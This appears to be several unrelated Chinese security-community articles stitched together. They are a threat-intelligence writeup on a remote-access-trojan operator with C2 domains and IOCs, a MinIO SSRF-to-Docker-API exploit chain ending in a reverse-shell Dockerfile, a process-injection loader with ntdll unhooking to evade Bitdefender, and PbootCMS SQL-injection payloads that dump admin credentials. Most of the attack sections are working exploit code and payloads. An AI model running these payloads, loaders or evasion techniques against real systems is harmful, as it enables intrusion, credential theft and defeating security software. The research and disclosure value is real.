E4C62055D1BCEB88D97903562B9E1BE8),又一个大灰狼远控。
从此样本,我们提取到了其核心远控模块下载地址:http://118.***.***.230:8080/Consys21.dll。
整个交互式的分析过程在交互式的关联平台上就是如下这个样子:
关联系统还告诉我们这个木马还使用了其他多个上线域名。有免费的二级域名qq867126996.3322.org、q332299.f3322.net,也有收费的顶级域名luanqi.net、lyisi.org、sb.jiushao.net、huo-dian.com。
对非免费域名做追溯一般是非常重要的突破点,我们可以查询一下相关的Whois信息。以下是域名luanqi.net的,可见做了隐私保护。
域名lyisi.org的:
域名jiushao.net的
域名huo-dian.com的:
注意上图中的[email protected]这个注册邮箱,其名下注册的域名大多数已经被360拦截,其中不乏淘宝钓鱼站或者虚假商城,比如www.000268.cn,现时应该iphone6s才是热门机型,iPhone5都已经淘汰了,却出现在该商城的首页,只能说钓鱼也不够用心。
在知道了样本关联出来的网络基础设施以后,利用一个众所周知的漏洞我们控制了小黑使用的某些服务器。在其中一台服务器上,我们看到了大灰狼远控的管理程序,在任务管理器这个木马控制端程序的CPU占用已经达到了12%:
当时由于小黑正在线,我们用netstat命令查看一下该主机上目前已经上线的肉鸡:
嗯,似乎控制的肉鸡并不多,这个服务器就只是做木马的控制端吗?没那么简单,接着往下看。
**枪和驾照**
翻服务器磁盘,我们发现该服务器上有个“泛站群系统”,该系统可以使得国内的搜索引擎收录更快,但被降权的速度也很快,所以这些服务器上会起用大量的域名和IP。下图是系统的使用说明:
这台服务器上绑了多个外网IP:
依赖360网络研究院提供的DNS基础数据,我们获取了近期绑定在这些IP上的域名列表如下:
从这张列表中抽取了部份域名在某搜索引擎中做了验证,发现结果让我们有些心惊胆跳:
很显然都是SEO卖枪的,而这些枪的关键词又正好在服务上就有发现:
通过whois信息的查询,发现所有涉枪域名都使用[email protected]注册,从这样直白的邮箱名来看,邮箱背后的人看来专门从事枪关键词SEO。
继续挖掘服务器上的文件,我们还发现了XISE Webshell管理器,呵,一个好长的列表,已经被地下管理员接管的机器真不少:
这些被黑的站点用来做什么了呢?看看小黑怎么操作那些Webshell就知道了:
可见除了在自己的网站使用“泛站群”达到快速恶意SEO的目的,小黑还使用扫描器大量扫描存在漏洞的网站植入webshell,向这些网站写入要SEO的信息达到快速SEO的目的。随机抽了些被黑SEO的网站:
政府网站历来都是被黑链的重灾区,对此只能一声叹息。
**余额宝**
翻服务器文件系统的过程中总是惊喜不断,打开一个目录“XISE蜘蛛池niubikeywords”下的1.txt,里面一堆和支付宝相关的关键词挺令人震惊:
原来小黑还通过“泛站群”做恶意SEO,使人在使用国内某些搜索引擎的时候找到钓鱼信息,坐等鱼上钩:
**后门**
使用这台服务器的小黑也和绝大多数小黑一样,都是拿来主义,可拿来主义不等于免费主义,要么自己多个心,要么就交点学费。我们从这台服务器上取回来的SSH爆破程序包中就直接发现了“Usp10.dll”(MD5:
B846B1BD3C4B5815D55C50C352606238)的盗号木马,而运行“SSH最终版(稳定).exe”(MD5:
59F7BC439B3B021A70F221503B650C9C)这个主程序后也会在%temp%文件夹中释放2个文件:一个SSHguiRelease.exe(MD5:
AB72FC7622B9601B0180456777EFDE5D),真正的SSH爆破程序;另一个filter32.exe(MD5:
7218C74654774B1FDE88B59465B2748C),使用易语言编写的程序,经分析发现该文件会向147********@163.com这个邮箱发送文件。
外面的Usp10.dll可能是被无意感染的,而里面的那个发邮件后门则明显是故意植入的,防不胜防。
Usp10.dll这类恶意代码是dll劫持型木马,一个小心就全盘感染了。但从服务器上取回来的样本中只有2个软件包存在,且都是工具类的,服务器上并没有感染这个样本。
上面这个工具可能来源于 “泯灭安全网”,写稿时凑趣地网站维护了,只好贴个搜索快照图:
对后门代码进一步反汇编分析,确认147********@163.com即是收件邮箱又是发送的邮箱,而这个邮箱的密码是:sgg***********cc,通过SMTP协议将要偷取的信息发送出去。下图是涉及在黑客工具中植入的后门往163邮箱发送数据的代码:
随后使用木马中配置的账号和密码进入这个发件邮箱,我们当然会摸进邮箱里去看看了。在收件箱中有41封邮箱,发件箱中有388封,已删除邮箱有5封,而这些数据仅是近一个月的数据。
通过统计所有邮件头中的“Received”包含的IP,可以看到有不少中招小黑交了大量的学费。
在这些邮件中,不仅有小黑们的木马配置信息,还有大量扫描出来的IP及相对应的账号和密码信息。
在黑产圈子,没有黑吃黑才是不正常的,关于工具后门其实还有可说的,请期待天眼实验室的下一篇扒皮。
比较逗的是,这个服务器上的黑客工具居然有感染了“Parite”病毒,可能是我们在翻服务器文件时激活的(论服务器也安个360的重要性),以致于最新更新的大灰狼远控也被感染了。
因为“Parite”会使得系统变慢,不停的弹出文件保护的窗口,使大灰狼远控不再免杀,可能因为这个原因小黑发现异常把系统重做了导致我们对服务器失去控制。
**总结**
就这样,我们零距离观察了一台多功能的黑产工作站(只是众多机器之一),我们的发现大致可以归纳成如下的图:
操作这些的是新时代的Script
Kiddies,他们租个服务器,找些自动化的撸站工具,程序开起来就算开干了,充当产业链上最初级的角色,在他的环节里通过现成的渠道变点现。他们所使用的服务器工具存在漏洞,撸站工具包含后门,甚至都处理不了恶意代码的感染,因这些问题的损失都是技能不足交的税。他们最容易被分析和打击(如果有人想打击的话),但是,这一切都不会影响他们的活动,只要能不怎么花力气的挣点钱。
另外,天眼实验室还在招人,恶意代码分析方向,海量多维度的数据带来不同的眼界,投条请往:[[email protected]](mailto:[email protected])
。
**威胁信息**
以下就是些入侵指示数据,尽管现在威胁情报很热,但目前国内的安全设备对于机读IOC的支持并不广泛,也就不装模作样地提供什么OpenIOC或STIX格式的XML了,读者可以根据自己的需要加入到设备的检测目标里。
类型
|
值
|
备注
---|---|---
MD5
|
27C8E69F7241476C58C071E83616D2B5
|
YY某主播视频.exe
MD5
|
E4C62055D1BCEB88D97903562B9E1BE8
|
hexSB360.exe
MD5
|
B846B1BD3C4B5815D55C50C352606238
|
usp10.dll
MD5
|
59F7BC439B3B021A70F221503B650C9C
|
SSH最终版(稳定).exe
MD5
|
7218C74654774B1FDE88B59465B2748C
|
filter32.exe
Domain
|
qq867126996.3322.org
|
CC地址
Domain
|
q332299.f3322.net
|
CC地址
Domain
|
luanqi.net
|
CC地址
Domain
|
lyisi.org
|
CC地址
Domain
|
sb.jiushao.net
|
CC地址
Domain
|
huo-dian.com
|
CC地址
Domain
|
www.000268.cn
|
钓鱼网站
Domain
|
www.dlyymy.cn
|
黑客网站
email
|
[email protected]
|
注册大量钓鱼网站
email
|
[email protected]
|
注册大量枪支推广网站 | 社区文章 |
**作者： phith0n
原文链接：<https://mp.weixin.qq.com/s/X04IhY9Oau-kDOVbok8wEw>**
>
> 事先声明：本次测试过程完全处于本地或授权环境，仅供学习与参考，不存在未授权测试过程。本文提到的漏洞《MinIO未授权SSRF漏洞（CVE-2021-21287）》已经修复，也请读者勿使用该漏洞进行未授权测试，否则作者不承担任何责任。
随着工作和生活中的一些环境逐渐往云端迁移，对象存储的需求也逐渐多了起来，MinIO就是一款支持部署在私有云的开源对象存储系统。MinIO完全兼容AWS
S3的协议，也支持作为S3的网关，所以在全球被广泛使用，在Github上已有25k星星。
我平时会将一些数据部署在MinIO中，在CI、Dockerfile等地方进行使用。本周就遇到了一个环境，其中发现一个MinIO，其大概情况如下：
* MinIO运行在一个小型Docker集群（swarm）中
* MinIO开放默认的9000端口，外部可以访问，地址为`http://192.168.227.131:9000`，但是不知道账号密码
* `192.168.227.131`这台主机是CentOS系统，默认防火墙开启，外部只能访问9000端口，dockerd监听在内网的2375端口（其实这也是一个swarm管理节点，swarm监听在2377端口）
本次测试目标就是窃取MinIO中的数据，或者直接拿下。
## 0x01 MinIO代码审计
既然我们选择了从MinIO入手，那么先了解一下MinIO。其实我前面也说了，因为平时用到MinIO的时候很多，所以这一步可以省略了。其使用Go开发，提供HTTP接口，而且还提供了一个前端页面，名为“MinIO
Browser”。当然，前端页面就是一个登陆接口，不知道口令无法登录。
那么从入口点（前端接口）开始对其进行代码审计吧。
在User-Agent满足正则`.*Mozilla.*`的情况下，我们即可访问MinIO的前端接口，前端接口是一个自己实现的JsonRPC：
我们感兴趣的就是其鉴权的方法，随便找到一个RPC方法，可见其开头调用了`webRequestAuthenticate`，跟进看一下，发现这里用的是jwt鉴权：
jwt常见的攻击方法主要有下面这几种：
* 将alg设置为None，告诉服务器不进行签名校验
* 如果alg为RSA，可以尝试修改为HS256，即告诉服务器使用公钥进行签名的校验
* 爆破签名密钥
查看MinIO的JWT模块，发现其中对alg进行了校验，只允许以下三种签名方法：
这就堵死了前两种绕过方法，爆破当然就更别说了，通常仅作为没办法的情况下的手段。当然，MinIO中使用用户的密码作为签名的密钥，这个其实会让爆破变的简单一些。
鉴权这块没啥突破，我们就可以看看，有哪些RPC接口没有进行权限验证。
很快找到了一个接口，`LoginSTS`。这个接口其实是AWS
STS登录接口的一个代理，用于将发送到JsonRPC的请求转变成STS的方式转发给本地的9000端口（也就还是他自己，因为它是兼容AWS协议的）。
简化其代码如下：
// LoginSTS - STS user login handler.
func (web *webAPIHandlers) LoginSTS(r *http.Request, args *LoginSTSArgs, reply *LoginRep) error {
ctx := newWebContext(r, args, "WebLoginSTS")
v := url.Values{}
v.Set("Action", webIdentity)
v.Set("WebIdentityToken", args.Token)
v.Set("Version", stsAPIVersion)
scheme := "http"
// ...
u := &url.URL{
Scheme: scheme,
Host: r.Host,
}
u.RawQuery = v.Encode()
req, err := http.NewRequest(http.MethodPost, u.String(), nil)
// ...
}
没发现有鉴权上的绕过问题，但是发现了另一个有趣的问题。这里，MinIO为了将请求转发给“自己”，就从用户发送的HTTP头Host中获取到“自己的地址”，并将其作为URL的Host构造了新的URL。
这个过程有什么问题呢？
因为请求头是用户可控的，所以这里可以构造任意的Host，进而构造一个SSRF漏洞。
我们来实际测试一下，向`http://192.168.227.131:9000`发送如下请求，其中Host的值是我本地ncat开放的端口（`192.168.1.142:4444`）：
POST /minio/webrpc HTTP/1.1
Host: 192.168.1.142:4444
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Content-Type: application/json
Content-Length: 80
{"id":1,"jsonrpc":"2.0","params":{"token": "Test"},"method":"web.LoginSTS"}
成功收到请求：
可以确定这里存在一个SSRF漏洞了。
## 0x02 升级SSRF漏洞
仔细观察，可以发现这是一个POST请求，但是Path和Body都没法控制，我们能控制的只有URL中的一个参数`WebIdentityToken`。
但是这个参数经过了URL编码，无法注入换行符等其他特殊字符。这样就比较鸡肋了，如果仅从现在来看，这个SSRF只能用于扫描端口。我们的目标当然不仅限于此。
幸运的是，Go默认的http库会跟踪302跳转，而且不论是GET还是POST请求。所以，我们这里可以302跳转来“升级”SSRF漏洞。
使用PHP来简单地构造一个302跳转：
<?php
header('Location: http://192.168.1.142:4444/attack?arbitrary=params');
将其保存成index.php，启动一个PHP服务器：
将Host指向这个PHP服务器。这样，经过一次302跳转，我们收获了一个可以控制完整URL的GET请求：
放宽了一些限制，结合前面我对这套内网的了解，我们可以尝试攻击Docker集群的2375端口。
2375是Docker
API的接口，使用HTTP协议通信，默认不会监听TCP地址，这里可能是为了方便内网其他机器使用所以开放在内网的地址里了。那么，我们是否可以通过SSRF来攻击这个接口呢？
在Docker未授权访问的情况下，我们通常可以使用`docker run`或`docker
exec`来在目标容器里执行任意命令（如果你不了解，可以参考这篇文章）。但是翻阅Docker的文档可知，这两个操作的请求是`POST
/containers/create`和`POST /containers/{id}/exec`。
两个API都是POST请求，而我们可以构造的SSRF却是一个GET的。怎么办呢？
## 0x03 再次升级SSRF漏洞
还记得我们是怎样获得这个GET型的SSRF的吗？通过302跳转，而接受第一次跳转的请求就是一个POST请求。不过我们没法直接利用这个POST请求，因为他的Path不可控。
如何构造一个Path可控的POST请求呢？
我想到了307跳转，307跳转是在RFC 7231中定义的一种HTTP状态码，描述如下：
> “The 307 (Temporary Redirect) status code indicates that the target resource
> resides temporarily under a different URI and the user agent **MUST NOT**
> change the request method if it performs an automatic redirection to that
> URI.”
307跳转的特点就是 **不会**
改变原始请求的方法，也就是说，在服务端返回307状态码的情况下，客户端会按照Location指向的地址发送一个相同方法的请求。
我们正好可以利用这个特性，来获得POST请求。
简单修改一下之前的index.php：
<?php
header('Location: http://192.168.1.142:4444/attack?arbitrary=params', false, 307);
尝试SSRF攻击，收到了预期的请求：
Bingo，获得了一个POST请求的SSRF，虽然没有Body。
## 0x04 攻击Docker API
回到Docker
API，我发现现在仍然没法对run和exec两个API做利用，原因是，这两个API都需要在请求Body中传输JSON格式的参数，而我们这里的SSRF无法控制Body。
继续翻阅Docker文档，我发现了另一个API，Build an image：
这个API的大部分参数是通过Query Parameters传输的，我们可以控制。阅读其中的选项，发现它可以接受一个名为`remote`的参数，其说明为：
> “
>
> A Git repository URI or HTTP/HTTPS context URI. If the URI points to a
> single text file, the file’s contents are placed into a file called
> `Dockerfile` and the image is built from that file. If the URI points to a
> tarball, the file is downloaded by the daemon and the contents therein used
> as the context for the build. If the URI points to a tarball and the
> `dockerfile` parameter is also specified, there must be a file with the
> corresponding path inside the tarball.
>
> ”
这个参数可以传入一个Git地址或者一个HTTP URL，内容是一个Dockerfile或者一个包含了Dockerfile的Git项目或者一个压缩包。
也就是说，Docker API支持通过指定远程URL的方式来构建镜像，而不需要我在本地写入一个Dockerfile。
所以，我尝试编写了这样一个Dockerfile，看看是否能够build这个镜像，如果可以，那么我的4444端口应该能收到wget的请求：
FROM alpine:3.13
RUN wget -T4 http://192.168.1.142:4444/docker/build
然后修改前面的index.php，指向Docker集群的2375端口：
<?php
header('Location: http://192.168.227.131:2375/build?remote=http://192.168.1.142:4443/Dockerfile&nocache=true&t=evil:1', false, 307);
进行SSRF攻击，等待了一会儿，果然收到请求了：
完美，我们已经可以在目标集群容器里执行任意命令了。
## 0x05 拿下MinIO容器
此时离我们的目标，拿下MinIO，还差一点点，后面的攻击其实就比较简单了。
因为现在可以执行任意命令，我们就不会再受到SSRF漏洞的限制，可以直接反弹一个shell，或者可以直接发送任意数据包到Docker
API，来访问容器。经过一顿测试，我发现MinIO虽然是运行的一个service，但实际上就只有一个容器。
所以我编写了一个自动化攻击MinIO容器的脚本，并将其放在了Dockerfile中，让其在Build的时候进行攻击，利用`docker
exec`在MinIO的容器里执行反弹shell的命令。这个Dockerfile如下：
FROM alpine:3.13
RUN apk add curl bash jq
RUN set -ex && \
{ \
echo '#!/bin/bash'; \
echo 'set -ex'; \
echo 'target="http://192.168.227.131:2375"'; \
echo 'jsons=$(curl -s -XGET "${target}/containers/json" | jq -r ".[] | @base64")'; \
echo 'for item in ${jsons[@]}; do'; \
echo ' name=$(echo $item | base64 -d | jq -r ".Image")'; \
echo ' if [[ "$name" == *"minio/minio"* ]]; then'; \
echo ' id=$(echo $item | base64 -d | jq -r ".Id")'; \
echo ' break'; \
echo ' fi'; \
echo 'done'; \
echo 'execid=$(curl -s -X POST "${target}/containers/${id}/exec" -H "Content-Type: application/json" --data-binary "{\"Cmd\": [\"bash\", \"-c\", \"bash -i >& /dev/tcp/192.168.1.142/4444 0>&1\"]}" | jq -r ".Id")'; \
echo 'curl -s -X POST "${target}/exec/${execid}/start" -H "Content-Type: application/json" --data-binary "{}"'; \
} | bash
这个脚本所干的事情比较简单，一个是遍历了所有容器，如果发现其镜像的名字中包含`minio/minio`，则认为这个容器就是MinIO所在的容器。拿到这个容器的Id，用exec的API，在其中执行反弹shell的命令。
最后成功拿到MinIO容器的shell：
当然，我们也可以通过Docker API来获取集群权限，这不在本文的介绍范围内了。
## 0x06 总结
本次测试开始于一个MinIO开放的9000端口，通过代码审计，挖掘到了MinIO的一个SSRF漏洞，又利用这个漏洞攻击内网的Docker
API，最终拿到了MinIO的权限。
本文所涉及的漏洞已经提交给MinIO官方并修复，以下是时间线：
* Jan 23, 2021, 9:11 PM - 漏洞提交
* Jan 24, 2021, 3:06 AM - 漏洞确认
* Jan 26, 2021, 2:15 AM - 修复已被合并进主线分支
* Jan 30, 2021, 11:22 AM - 漏洞公告和新版本被发布
* Feb 2, 2021 01:10 AM - 确认编号 - CVE-2021-21287
* * * | 社区文章 |
渗透时,可能会遇到各种各样的的杀软,但每个杀软特性不同,在绕过前,往往都需要分析,本文就Bitdefender进行分析
最近在研究如何免杀,写了一个马,火绒 360 成功绕过(图有点少,当时没存,火绒测试是用的同学的物理机,两台,还有一台没截图;360是虚拟机)
然后看到Askar大佬的文章,决定试试绕过Bitdenfender,先运行一下,说不定也过了呢(痴心妄想)
结果一运行,连马也给我删了,看看Bitdefender是如何检测的
检查我的exe，通过x64debug去调试:
发现这里竟然多了一个"atcuf64.dll",而且是Bitdefender的,这非常可疑,大概率是来检查我的行为的,很有可能是Hook我的API,这里看一下我的马用到了哪些API
DWORD CeatRemoThread(DWORD pid)
{
HANDLE hThread;
DWORD dwOldProtect;
DWORD dwThreadId;
int shellcode_size = sizeof(buf);
char* newBuf;
decrypt(buf, shellcode_size, (LPVOID*)&newBuf); //jiemi
HANDLE hHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if (hHandle == NULL)
{
printf("openprocessError");
free(newBuf);
return FALSE;
}
LPVOID Memory = VirtualAllocEx(hHandle, NULL, sizeof(newBuf) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
SIZE_T dwSize = 0;
WriteProcessMemory(hHandle, Memory, newBuf, shellcode_size / 3, &dwSize);
Sleep(3000);
VirtualProtectEx(hHandle, Memory, shellcode_size / 3, PAGE_EXECUTE, &dwOldProtect);
HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
if (hNtdll == NULL)
{
printf("[!] LoadNTdll Error,Error is:%d\n", GetLastError());
return FALSE;
}
else
{
printf("[*] Load ntdll.dll Successfully!\n");
}
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown
);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown
);
#endif
typedef_ZwCreateThreadEx ZwCreateThreadEx = NULL;
ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");
if (ZwCreateThreadEx == NULL)
{
printf("[!] Get ZwCreateThreadEx Address Error,Error is:%d\n", GetLastError());
return FALSE;
}
else
{
printf("[*] Get ZwCreateThreadEx Address Successfully! Address is %x\n", ZwCreateThreadEx);
}
HANDLE hRemoteThread = NULL;
DWORD ZwRet = 0;
ZwRet = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hHandle,
(LPTHREAD_START_ROUTINE)Memory, NULL, 0, 0, 0, 0, NULL);
if (hRemoteThread == NULL)
{
printf("[!] Creat RemoteThread Error,Error is:%d\n", GetLastError());
getchar();
VirtualFreeEx(hHandle, Memory, 0, MEM_RELEASE);
CloseHandle(hHandle);
FreeLibrary(hNtdll);
return FALSE;
}
WaitForSingleObject(hRemoteThread, INFINITE);
return TRUE;
}
先把杀软喜欢检测的拿出来 VirtualAllocEx WriteProcessMemory ZwCreateThreadEx
这里可以看到我的ZwCreateThreadEx是动态加载的,而且较为底层,先看看WriteProcessMemory,是否被钩住了
使用disasm WriteProcessMemory找到这个API
跟进去看看，这里是比WriteProcessMemory更为底层的NtWriteVirtualMemory
跟进去看看!
似乎是被钩住了,看看本来NtWriteVirtualMemory的样子
这里证明确实是被Bitdefender的那个atcuf64.dll钩住了,会发送到这个dll中那里进行检查,监控
这里我希望进行一个unhook的操作,把他E9的4个字节,包括E9还原成原来的硬编码,原来的硬编码为:
4C 8B D1 B8 3A
这里更新自己的代码,动态获取NtWriteVirtualMemory的地址并unhook
HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
LPVOID NtWriteVirtualMemory_Address = GetProcAddress(hNtdll, "NtWriteVirtualMemory");
printf("[*] NtWriteVirtualMemory address is : %p\n", NtWriteVirtualMemory_Address);
if (WriteProcessMemory(GetCurrentProcess(), NtWriteVirtualMemory_Address, "\x4C\x8B\xD1\xB8\x3A", 5, NULL)) {
printf("[*] NtWriteVirtualMemory unhook done!\n");
当我单步执行到unhook done后,看到NtWriteVirtualMemory确实已经复原,unhook成功了！
再看VirtualAllocEx 似乎并没有被hook
先放到一边
再看ZwCreateThreadEx,这个底层的函数同样被hook了
同样的,我们unhook,改为原来的硬编码 4C 8B D1 B8 C1
代码新增:
typedef_ZwCreateThreadEx ZwCreateThreadEx = NULL;
ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");
if (WriteProcessMemory(GetCurrentProcess(), ZwCreateThreadEx, "\x4C\x8B\xD1\xB8\xC1", 5, NULL)) {
printf("[*] ZwCreateThreadEx unhooking done!\n");
}
看看效果
也已经恢复为原来的硬编码
直接运行试试,应该是可以了,但是运行发现还是被拦截了
很难受，但是我发现这里报的毒已经跟之前的不一样了,并且我的马并没有被删！这表明Bitdenfender认为我的exe没有问题,他这里报毒指的是explorer中有cs的马,这属于绕过内存扫描的内容,hook层面已经绕过完成(了吗？)
我一开始以为是动态扫描出我的马,但我发现Bitdefender的反应很快,我想到卡巴斯基,马可以上线大概5秒,毕竟扫描也需要时间,但为什么这里一瞬间就挂了,我猜想是Bitdefender监控到了explorer有特殊的行为,或者什么东西操纵了它,一看我调用的API,openprocess这个API很明显,我猜想是不是Bitdefender监控到了我打开过explorer,想到这里我有些激动,一看,果然被挂钩了！
尝试unhook,硬编码为4C 8B D1 B8 26
代码:
LPVOID ZwOpenProcess_Address = GetProcAddress(hNtdll, "ZwOpenProcess");
printf("[*] ZwOpenProcess address is : %p\n", ZwOpenProcess_Address);
if (WriteProcessMemory(GetCurrentProcess(), ZwOpenProcess_Address, "\x4C\x8B\xD1\xB8\x26", 5, NULL)) {
printf("[*] ZwOpenProcess unhooking done!\n");
}
unhook成功:
再测试发现依然没过,这里有点尴尬,重新回来审视报毒
我打码的部分是我的ip,英文我也不怎么看的懂,web什么的,他又把ip标记出来,也许是不是内存扫描,是检测到有通信的流量,应该是防火墙
反向shell是没有问题,问题是cs太过于出名,他的payload很容易就被识别出来
想了一天,自己构建payload确实超出我的能力,晚上的时候看了下cs还有哪些beacon,突然想到https不是相对于http更加安全吗,是否可以帮助我们绕过,直接上图,成功了！
我又重新使用http的beacon的payload测试一下,直接给我杀了
总结一下这几天绕过杀软的心得:
国产的杀软先不说了,卡巴斯基我在分析的时候发现他似乎并没有hook
API，包括静态检测这些方面甚至我不用混淆都能过,但是他的动态扫描内存却是非常头疼的,而Bitdenfender是hook
API并且监控敏感流量,但运行过后就没扫描内存,各种杀软都有他们各自擅长的领域,但不可能每个方面都兼顾。要有更好的效果,就没有好的性能。
最后欢迎关注团队公众号：红队蓝军 | 社区文章 |
### 0x08 前台home模块注入漏洞
#### 0x08.1 在线留言处insert sql注入
##### 0x08.1.2 漏洞演示
注：我本地测试的所以我把验证验证码那一步关闭了=-=，实战中请自己加上验证码
url:http://127.0.0.1/cms/PbootCMS-V1.2.1/index.php/Message/add
post:
contacts[content`,`create_time`,`update_time`) VALUES ('1', '1' ,1 and updatexml(1,concat(0x3a,user()),1) );-- a] = 1111
content = 1111
mobile = 1111
##### 0x08.1.2 漏洞解读
路径：PbootCMS-V1.2.1\apps\home\controller\MessageController.php
方法：add(
// 留言新增
public function add()
{
if ($_POST) {
if (time() - session('lastsub') < 10) {
alert_back('您提交太频繁了，请稍后再试！');
}
// 验证码验证
$checkcode = post('checkcode');
if ($this->config('message_check_code')) {
// if (! $checkcode) {
// alert_back('验证码不能为空！');
// }
if ($checkcode != session('checkcode')) {
alert_back('验证码错误！');
}
}
// 读取字段
if (! $form = $this->model->getFormField(1)) {
alert_back('留言表单不存在任何字段，请核对后重试！');
}
// 接收数据
$mail_body = '';
foreach ($form as $value) {
$field_data = post($value->name);
if (is_array($field_data)) { // 如果是多选等情况时转换
$field_data = implode(',', $field_data);
}
if ($value->required && ! $field_data) {
alert_back($value->description . '不能为空！');
} else {
$data[$value->name] = post($value->name);
$mail_body .= $value->description . '：' . post($value->name) . '<br>';
}
}
// 设置额外数据
if ($data) {
$data['acode'] = session('lg');
$data['user_ip'] = ip2long(get_user_ip());
$data['user_os'] = get_user_os();
$data['user_bs'] = get_user_bs();
$data['recontent'] = '';
$data['status'] = 0;
$data['create_user'] = 'guest';
$data['update_user'] = 'guest';
}
if ($this->model->addMessage($data)) {
session('lastsub', time()); // 记录最后提交时间
$this->log('留言提交成功！');
if ($this->config('message_send_mail') && $this->config('message_send_to')) {
$mail_subject = "【PbootCMS】您有新的表单数据，请注意查收！";
$mail_body .= '<br>来自网站' . get_http_url() . '（' . date('Y-m-d H:i:s') . '）';
sendmail($this->config(), $this->config('message_send_to'), $mail_subject, $mail_body);
}
alert_location('提交成功！', '-1');
} else {
$this->log('留言提交失败！');
alert_back('提交失败！');
}
} else {
error('提交失败，请使用POST方式提交！');
}
}
可以看到，整个逻辑下来的意思就是说，查询出数据库一条数据，然后接收外部 POST 内容，只匹配数据库的字段，相同才会拼接到 $_data数组
然后就会带入 $this->model->addMessage(data) 执行语句
路径：PbootCMS-V1.2.1\apps\home\model\ParserModel.php
方法：addMessage(
// 新增留言
public function addMessage($data)
{
return parent::table('ay_message')->autoTime()->insert($data);
}
根据6.0可以看到带入了进入了 insert 那么我们传的二维数组刚好可以控制key 带入数据库查询引发注入
#### 0x08.2 免费通话insert sql注入
注：本地测试的时候，这个地方的注入需要后台添加一条数据才能注！真实环境的话，开放了这个功能直接抓包即可
进入后台
##### 0x08.2.1 漏洞演示
url：http://127.0.0.1/cms/PbootCMS-V1.2.1/index.php/Form/add?fcode=2
post：
tel[tel`) VALUES ( 1 and updatexml(1,concat(0x3a,user()),1) );-- a] = 1111
##### 0x08.2.2 漏洞解读
路径：PbootCMS-V1.2.1\apps\home\controller\FormController.php
方法：add(
// 表单提交
public function add()
{
if ($_POST) {
if (time() - session('lastsub') < 10) {
alert_back('您提交太频繁了，请稍后再试！');
}
if (! $fcode = get('fcode', 'var')) {
alert_back('传递的表单编码有误！');
}
if ($fcode == 1) {
alert_back('表单提交地址有误，留言提交请使用留言专用地址!');
}
// 验证码验证
/*
* $checkcode = post('checkcode');
* if ($this->config('message_check_code')) {
* if (! $checkcode) {
* alert_back('验证码不能为空！');
* }
* if ($checkcode != session('checkcode')) {
* alert_back('验证码错误！');
* }
* }
*/
// 读取字段
if (! $form = $this->model->getFormField($fcode)) {
alert_back('接收表单不存在任何字段，请核对后重试！');
}
// 接收数据
$mail_body = '';
foreach ($form as $value) {
$field_data = post($value->name);
if (is_array($field_data)) { // 如果是多选等情况时转换
$field_data = implode(',', $field_data);
}
if ($value->required && ! $field_data) {
alert_back($value->description . '不能为空！');
} else {
$data[$value->name] = post($value->name);
$mail_body .= $value->description . '：' . post($value->name) . '<br>';
}
}
// 设置创建时间
if ($data) {
$data['create_time'] = get_datetime();
}
// 写入数据
if ($this->model->addForm($value->table_name, $data)) {
session('lastsub', time()); // 记录最后提交时间
$this->log('提交表单数据成功！');
if ($this->config('message_send_mail') && $this->config('message_send_to')) {
$mail_subject = "【PbootCMS】您有新的表单数据，请注意查收！";
$mail_body .= '<br>来自网站' . get_http_url() . '（' . date('Y-m-d H:i:s') . '）';
sendmail($this->config(), $this->config('message_send_to'), $mail_subject, $mail_body);
}
alert_location('提交成功！', '-1');
} else {
$this->log('提交表单数据失败！');
alert_back('提交失败！');
}
} else {
error('提交失败，请使用POST方式提交！');
}
}
可以看到，整个逻辑下来的意思就是说，查询出数据库一条数据，然后接收外部 POST 内容，只匹配数据库的字段，相同才会拼接到 $_data数组
然后就会带入 $this->model->addForm($value->table_name, $data) 执行语句
路径：PbootCMS-V1.2.1\apps\home\model\ParserModel.php
public function addForm($table, $data)
{
return parent::table($table)->insert($data);
}
根据6.0可以看到带入了进入了 insert 那么我们传的二维数组刚好可以控制key 带入数据库查询引发注入.
#### 0X08.3 前台首页注入
##### 0x08.3.1 漏洞演示
url: http://127.0.0.1/cms/PbootCMS-V1.2.1/index.php/Index?ext_price%3D1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));%23=123
##### 0x08.3.2 漏洞解读
文件地址：PbootCMS-V1.2.1\apps\home\controller\ParserController.php
方法：index(
// 首页 骚操作 注入
// parserAfter -> parserSpecifyListLabel
public function index()
{
$content = parent::parser('index.html'); // 框架标签解析
$content = $this->parser->parserBefore($content); // CMS公共标签前置解析
$content = $this->parser->parserPositionLabel($content, - 1, '首页', SITE_DIR . '/'); // CMS当前位置标签解析
$content = $this->parser->parserSpecialPageSortLabel($content, 0, '', SITE_DIR . '/'); // 解析分类标签
$content = $this->parser->parserAfter($content); // CMS公共标签后置解析
$this->cache($content, true);
}
文件地址：apps\home\controller\ParserController.php
方法：parserAfter()
跟进 $content = $this->parser->parserAfter($content); 这个方法
// 解析全局后置公共标签
public function parserAfter($content)
{
...
$content = $this->parserSpecifyListLabel($content); // 指定列表
return $content;
}
方法：parserSpecifyListLabel(
进入以后 查看调用了 $content = $this->parserSpecifyListLabel($content); 方法
// 解析指定分类列表标签
